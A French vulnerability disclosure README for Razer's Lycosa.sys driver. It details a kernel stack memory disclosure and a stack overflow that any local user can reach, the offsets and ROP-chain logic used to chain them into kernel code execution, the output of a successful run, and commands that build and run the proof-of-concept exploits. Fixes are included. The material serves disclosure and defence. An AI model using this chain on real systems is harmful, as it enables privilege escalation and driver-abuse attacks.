Lycosa.sys, Razer : deux vulnérabilités du noyau accessibles à tout utilisateur local

Découvertes via https://github.com/416rehman/DeepZero

Éditeur : Razer Inc. Composant : Lycosa.sys, le pilote de filtre du clavier Razer Lycosa, x64 SHA-256 : a120a6184ab16864e8a5f1dfd0cd178fca541de463b5cef946e18c34b9b6f716 Référence du rapporteur : a120a6184ab16864 Statut : pas encore signalé à l'éditeur.

Ce répertoire documente deux défauts distincts dans la même routine du même pilote. Ils ont des causes racines et des correctifs distincts, chacun dispose donc de son propre dossier autonome et peut être suivi et se voir attribuer son propre identifiant :

Les deux sont accessibles depuis tout compte capable de se connecter et d'exécuter un programme. Aucun droit administratif, aucune élévation, aucun privilège particulier. Les deux ont été confirmés sur Windows 11 25H2 (build 26200.8875) avec l'intégrité du code appliquée et la signature de test désactivée.

La section 3 décrit ce que les deux représentent lorsqu'ils sont utilisés ensemble, ce qui explique pourquoi ils sont signalés en même temps et pourquoi la preuve de concept chaînée se trouve dans ce répertoire racine.

1. Où se trouvent les défauts

Les deux se trouvent dans le gestionnaire IRP_MJ_DEVICE_CONTROL à RVA 0x1270, et tous deux agissent sur le même tampon de 0x400 octets sur la pile du noyau. Le prologue, lu depuis le binaire livré, fixe la géométrie pour les deux :

Lycosa+0x1270  48 89 54 24 10           mov   [rsp+10h], rdx   ; Irp
Lycosa+0x1275  48 89 4c 24 08           mov   [rsp+8], rcx     ; DeviceObject
Lycosa+0x127a  48 81 ec 98 04 00 00     sub   rsp, 498h        ; the frame
Lycosa+0x1291  ba 00 04 00 00           mov   edx, 400h        ; the buffer size
Lycosa+0x1296  48 8d 8c 24 80 00 00 00  lea   rcx, [rsp+80h]   ; the buffer

Un tampon de 0x400 octets à rsp+0x80, dans une trame de 0x498 octets, sans aucun registre non volatil sauvegardé. En comptant depuis le début du tampon :

0x000 .. 0x3FF   the buffer, which both defects are supposed to stay inside
0x418            the return address of the dispatch routine
0x420            the saved DeviceObject argument
0x428            the saved Irp argument

0x418 correspond à 0x498 - 0x80. La divulgation (CVE-01) lit au-delà de 0x3FF et renvoie ce qu'elle y trouve ; le débordement (CVE-02) écrit au-delà de 0x3FF et le remplace.

2. Accessibilité, et qui peut faire cela

DriverEntry crée le périphérique sans descripteur de sécurité et publie un lien symbolique pour celui-ci, il est donc accessible à \\.\Lycosa :

IoCreateDevice(param_1, 0x20, L"\\Device\\Lycosa", 0x22, 0, 0, &device);
IoCreateSymbolicLink(L"\\DosDevices\\Lycosa", L"\\Device\\Lycosa");

Chaque code de contrôle affecté se décode comme FILE_DEVICE_UNKNOWN, METHOD_BUFFERED, FILE_ANY_ACCESS. FILE_ANY_ACCESS signifie qu'aucun droit d'accès particulier ne doit être détenu sur le handle, le descripteur de sécurité de l'objet périphérique est donc la seule barrière, et il accorde l'accès à tout le monde.

Tous les résultats de ces rapports ont été produits depuis un compte utilisateur standard dont la seule appartenance à un groupe est le groupe intégré Users. Le compte n'avait aucun droit administratif, n'était pas élevé et ne détenait aucun privilège au-delà des valeurs par défaut.

Le pilote se charge également sur des machines qui n'ont jamais eu de matériel Razer connecté, car le paquet est signé par catalogue de manière valide. C'est le schéma utilisé dans les attaques de type bring-your-own-vulnerable-driver.

3. Les deux défauts se combinent

Signalés séparément parce qu'il s'agit de défauts distincts, mais un éditeur qui les trie devrait savoir que chacun aggrave l'autre.

Les Windows modernes chargent le noyau à une adresse randomisée. Un attaquant capable d'écraser une adresse de retour doit encore savoir par quoi l'écraser, et c'est normalement là l'obstacle. Ce pilote répond lui-même aux deux questions :

1. CVE-01 supprime la randomisation. La divulgation renvoie l'adresse de retour de la routine de dispatch elle-même, une adresse de code à l'intérieur de ntoskrnl.exe. En soustrayant son décalage connu dans l'image, on obtient la base à laquelle le noyau est chargé, et à partir de là, toutes les adresses à l'intérieur du noyau sont connues. Cela ne coûte rien et ne perturbe rien.

2. CVE-01 fournit aussi la valeur dont CVE-02 a besoin pour ne pas planter. Comme décrit dans CVE-02 section 4.4, le pilote recharge l'Irp depuis l'offset 0x428 sur son chemin de sortie et écrit à travers lui. Un débordement naïf qui atteint l'adresse de retour détruit aussi ce pointeur et plante avant que la routine ne retourne. L'exploit fiable arrête au contraire la copie exactement à 0x428, laissant l'Irp vivant de la requête en cours en place, de sorte que le pilote se termine normalement.

3. CVE-02 redirige ensuite l'exécution, la base du noyau étant déjà connue.

Depuis un compte non privilégié, la preuve de concept chaînée lit la trame, calcule la base du noyau et l'adresse noyau du tampon lui-même, et envoie une chaîne orientée retour :

step 1, read what is above the buffer on the kernel stack:
   +0x418 return address  0xFFFFF807D565CABB
   +0x498 frame pointer   0xFFFFFD042D313750  (read twice, must match)

step 2, turn those into the two addresses the payload needs:
   kernel base     = 0xFFFFF807D565CABB - 0x25CABB = 0xFFFFF807D5400000
   buffer on stack = 0xFFFFFD042D313750 - 0x500    = 0xFFFFFD042D313250

step 4, overflow with a chain that:
   pivots the stack onto the buffer, calls nt!ZwCreateFile, and
   resumes nt!IopfCallDriver+0x5b

sending 0x428 bytes
call returned: accepted=true error=0

PROOF: C:\Windows\System32\dz_lycosa_kernel_exec.txt now exists.

C'est la chaîne complète, vérifiée de bout en bout. Le compte non privilégié a créé un fichier sous C:\Windows\System32, un répertoire auquel l'accès en écriture lui est autrement refusé, en exécutant nt!ZwCreateFile en mode noyau. accepted=true signifie que l'appel système est retourné normalement : la chaîne reprend exactement à l'adresse à laquelle le pilote allait retourner (nt!IopfCallDriver+0x5b, qui est add rsp,0x38 ; ret), le thread se termine donc et la machine continue de fonctionner. Le fichier créé a été confirmé indépendamment depuis un shell administrateur. La transcription complète se trouve dans logs/exec_create_file.log, et la méthode dans METHODOLOGY.md.

La lecture pratique est que ce seul pilote fournit, à tout utilisateur de la machine, les deux moitiés de ce qui est normalement nécessaire pour transformer un défaut de sûreté mémoire en exécution de code noyau : la divulgation d'adresse qui supprime la randomisation, et le détournement de flux de contrôle qui l'utilise. Ensemble, ils se sont avérés produire une action privilégiée concrète avec la machine laissée en fonctionnement.

4. Les corriger

Les deux correctifs sont indépendants et tous deux mineurs, énoncés en détail dans chaque rapport :

• Remédiation CVE-01: borner OutputBufferLength, et définir IoStatus.Information sur ce qui a réellement été produit.
• Remédiation CVE-02: borner InputBufferLength.

Les deux rapports recommandent également de créer le périphérique de contrôle avec IoCreateDeviceSecure et une chaîne SDDL le restreignant aux administrateurs et au système. Cela seul ne corrigerait aucun des deux défauts, mais supprimerait l'accès non privilégié qui donne aux deux leur gravité.

5. Antériorité

Vérifiée avant la rédaction, car un rapport en doublon fait perdre du temps à un éditeur :

• LOLDrivers, 660 entrées, recherchées par SHA-256, par MD5 et par nom de fichier. Aucune entrée pour ce pilote.
• Liste de blocage des pilotes vulnérables de Microsoft, téléchargée depuis https://aka.ms/VulnerableDriverBlockList et recherchée parmi ses 1 713 règles de refus. Ce fichier n'y apparaît pas. Le seul pilote Razer sur cette liste est Rzpnk.sys, un composant différent.
• Aucun CVE n'a été trouvé décrivant ce pilote.

Nous pensons que les deux défauts n'ont pas été signalés auparavant et accueillerions toute correction.

Plusieurs autres pilotes livrés dans le même répertoire de paquet partagent la forme générale de ce pilote et sont examinés séparément. Rien ici ne constitue une déclaration à leur sujet.

6. Reproduire

pnputil /add-driver Flter2K.inf /install
sc create lycosa_test type= kernel binPath= C:\path\to\Lycosa.sys start= demand
sc start lycosa_test

Chaque défaut dispose de sa propre preuve de concept à usage unique dans son dossier, et cette racine contient celle qui les combine :

# CVE-01, reads only, safe to run anywhere, quickest confirmation of the report
rustc -O CVE-01-kernel-memory-disclosure/poc/lycosa_disclosure.rs -o disc.exe
disc.exe

# CVE-02, stops the machine by design
rustc -O CVE-02-kernel-stack-overflow/poc/lycosa_overflow.rs -o ovf.exe
ovf.exe --yes-crash-this-machine

# the chain: CVE-01 + CVE-02 into a file created in System32, machine left running
rustc -O poc/lycosa_chain.rs -o chain.exe
chain.exe --exec                              # default target under System32
chain.exe --exec C:\Users\Public\proof.txt    # or any path you choose

Exécutez tout depuis un compte utilisateur standard. La PoC chaînée indique les deux constantes du pilote dont elle dépend (FRAME et BUF_AT) en tête de son source, elle peut donc être pointée vers une autre version du pilote en changeant ces deux nombres. Les offsets du noyau utilisés par son mode --exec sont spécifiques à une version de Windows ; le programme vérifie la base du noyau dérivée à l'exécution et son mode --calibrate rapporte la seule valeur qui change entre les versions.

7. Contenu de ce répertoire

README.md                              this overview and the chaining analysis
METHODOLOGY.md                         how both were found and confirmed, in order
poc/lycosa_chain.rs                    the CHAINED proof of concept (both defects)
evidence/                              the binary, its package, decompiled sources, dumps
logs/exec_create_file.log              transcript of the chained run in section 3

CVE-01-kernel-memory-disclosure/       standalone disclosure for the out-of-bounds read
  README.md, poc/lycosa_disclosure.rs, evidence/, logs/
CVE-02-kernel-stack-overflow/          standalone disclosure for the stack overflow
  README.md, poc/lycosa_overflow.rs, evidence/, logs/